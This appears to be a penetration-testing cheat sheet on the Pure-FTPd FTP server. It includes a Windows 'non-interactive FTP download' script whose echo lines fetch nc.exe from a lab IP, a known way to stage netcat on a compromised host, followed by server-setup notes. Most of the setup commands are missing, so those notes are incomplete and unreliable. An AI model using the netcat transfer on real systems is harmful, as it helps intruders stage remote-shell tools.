pure-ftpd
Pure-FTPd is a free, open-source FTP (File Transfer Protocol) server software for Unix-like systems, written in C language. It provides secure, reliable, and efficient file transfers and is highly configurable, with features like virtual domains, bandwidth throttling, and anonymous access.
Instalation
Connect
interactive shell
Non-Interactive FTP Download (Windows)
echo open 10.11.0.5 21> ftp.txt
echo USER ftpuser>> ftp.txt
echo ftpuser>> ftp.txt
echo bin >> ftp.txt
echo GET nc.exe >> ftp.txt
echo bye >> ftp.txt
Configuration
create new group
create new SYSTEM user - -g ftpgroup: assigns the user to the "ftpgroup" group - -d /dev/null: sets the user's home directory to "/dev/null", which is a special file in Unix-like systems that discards all data written to it - -s /etc: sets the user's default shell to "/etc", which is usually not a valid shell and can be used to restrict the user's abilities add new ftp user - -u ftpuser: associates the FTP user with the SYSTEM user "ftpuser" - -d /ftphome: sets the FTP user's home directory to "/ftphome" create database for Pure-FTPd - This database is used to store the FTP users and their associated information, such as their username, password, home directory, etc create cymlink - The "../conf/PureDB" file is the database created by the "pure-pw mkdb" command, and the "60pdb" symlink is used by the Pure-FTPd server to access the database. create home direcotry restart